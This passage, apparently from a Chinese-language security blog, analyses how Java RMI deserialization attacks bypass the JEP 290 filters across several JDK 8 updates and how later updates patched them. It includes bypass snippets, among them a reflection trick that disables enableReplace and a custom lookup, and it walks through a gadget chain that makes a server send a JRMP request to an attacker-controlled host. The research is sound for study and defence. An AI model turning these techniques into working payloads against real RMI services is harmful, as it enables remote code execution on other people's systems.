      protected final Object replaceObject(Object var1) throws IOException {
          //这个类要是Remote接口的,并且不是RemoteStub接口的,为true
          if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
              //这里会去获取到新的对象来替换
              //UnicastRemoteObject走的就是这条路
              Target var2 = ObjectTable.getTarget((Remote)var1);
              if (var2 != null) {
                  return var2.getStub();
              }
          }
          //RMIConnectionImpl_Stub走的就是这条路
          return var1;
      }
      

      所以可用类的条件应该是:
      1. 这个类它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
      2. 这个类要是Remote接口的并且是RemoteStub接口
      3. 这个类要是Remote接口并且不是RemoteStub接口要是获取不到原来的类也可以,比如RemoteInvocationHandler(置 null,相当于没换)

      但这种限制是可用绕过的,方法就是通过反射修改 enableReplace 属性,不走对应分支就好了。
      java.io.ObjectOutput out = call.getOutputStream();
      //反射修改enableReplace
      ReflectionHelper.setFieldValue(out, "enableReplace", false);
      out.writeObject(obj); // 写入我们的对象
      

      截止到现在,8u121 带来的白名单限制问题就算是绕过了,但 8u141的堆服务端地址的验证如果使用 bind 的话是不行的。
  • 与Lookup结合



    这里直接做了上层的 lookup 的重写

    //多加了个registry参数,然后自己实现部分固定值的获取
    public static Remote lookup(Registry registry, Object obj)
                throws Exception {
            RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
            long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
            java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
            try {
            ....//之后就跟原来的lookup一样了
                //同时这里我还加入了绕过enableReplace,使UnicastRemoteObject可用
    
  • 修复



    在 8u231 后做了两处修复。

    1. discardPedingRefs中的 incomingRefTable 清空了

      public void discardPendingRefs() {
          this.in.discardRefs();//去下面
      }
      //sun.rmi.transport.ConnectionInputStream#discardRefs
      void discardRefs() {
          this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref
      }
      

      因为当 bind ,lookup 这些方法出现错误的时候会进到 discardPedingRefs 中,那么之后在 sun.rmi.transport.ConnectionInputStream#registerRefs 中也解析不出上面东西了,我们装载的 ref 就被 kill 了。
      那现在的问题是是不是之前的 payload 都会报错。
      • 自定义类:后续反序列化中找不到它,报错
      • 转换接口:var8 = (String)var9.readObject(); 进行类型转换的时候报错

      嗯,都被 kill 了。
    2. 在 sun.rmi.transport.DGCImpl_Stub#dirty 提前了白名单

      能发起 JRMP 请求,但执行命令的部分会被 ban 掉。
  • 另一种绕过JEP290的思路(An Trinh)



    后半段思路没变,在 RMI 服务端发起 JRMP 请求这部分加了新活。

    之前绕过的核心思想:

    1. readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
    2. 在readobejct反序列化的过程中填装UnicastRef类到incomingRefTable
    3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求


    这里的新思路不是在 readObject 递归的过程中触发我们的类,而是在 readObject 调用的时候直接发起请求。

    1. readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到incomingRefTable
    2. 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,他的Gadgets会在这里触发一次JRMP请求
    3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求


    从 java.rmi.server.UnicastRemoteObject#readObject 开始跟一下:

    private void readObject(java.io.ObjectInputStream in)
            throws java.io.IOException, java.lang.ClassNotFoundException
        {
            in.defaultReadObject();
            reexport();//这里
        }
    


    跟进 java.rmi.server.UnicastRemoteObject#reexport:

    private void reexport() throws RemoteException
        {
            if (csf == null && ssf == null) {
                exportObject((Remote) this, port);
            } else {
                //payload是填充了ssf的,这里
                exportObject((Remote) this, port, csf, ssf);
            }
        }
    


    一直跟到 sun.rmi.transport.tcp.TCPEndpoint#newServerSocket

    ServerSocket newServerSocket() throws IOException {
        if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
            TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
        }
    
        Object var1 = this.ssf;
        if (var1 == null) {
            var1 = chooseFactory();
        }
        //var1就是我们的payload中构建的ssf.调用他的createServerSocket
        //会根据动态代理进入RemoteObjectInvocationHandler#invoke
        ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
        if (this.listenPort == 0) {
            setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
        }
    


    触发了动态代理(和之前攻击用动态代理的原因不同,这里用到的是其会调用 invoke 的性质),进入 java.rmi.server.RemoteObjectInvocationHandler#invoke,到 else 分支触发 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod

    private Object invokeRemoteMethod(Object proxy,
                                      Method method,
                                      Object[] args)
        throws Exception
        {
            try {
                if (!(proxy instanceof Remote)) {
                    throw new IllegalArgumentException(
                        "proxy not Remote instance");
                }
              //我们payload把RemoteObjectInvocationHandler的ref写成了JRMP恶意服务器地址
              //这里开始了触发JRMP请求
                return ref.invoke((Remote) proxy, method, args,
                                  getMethodHash(method));
            } catch (Exception e) {
    


    ref 就是我们控制的 UnicastRef 对象,然后就会进到 sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long) 里,进入 var7.executeCall(),最后在里面触发反序列化。

    然后这个方法能绕过 8u231的限制。。。

    • 首先这个复写过程是顺着下来一气呵成的,不存在之前先存-再用的问题,不受清除 ref 的影响。
    • 没有走 DGC 层的 dirty,直接调了 ref 的 invoke,黑名单没用了。
  • 8u241的修复



    把本来的(String)var9.readobject()改成了
    SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);前者是可以反序列化Object的,但是后者就完全不接受反序列化Object。

    //8u241时这里,type传入String
    private Object readObject0(Class type, boolean unshared) throws IOException {
        //...
        case TC_OBJECT://我们输入的payload对象是一个Object
            if (type == String.class) {
                //8u241 type=String 直接在此处报错不进行反序列化了
            throw new ClassCastException("Cannot cast an object to java.lang.String");
            }
            //之前的版本都是传入type=Object于是正常反序列化
            return checkResolve(readOrdinaryObject(unshared));
        //..
    }
    


    如果参数类型是 String 则会直接拒绝反序列化。

    第二处是在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 中加入了 method 的验证(不可控),bind + 可认证 ip 的攻击也无了。

 

标签: none

添加新评论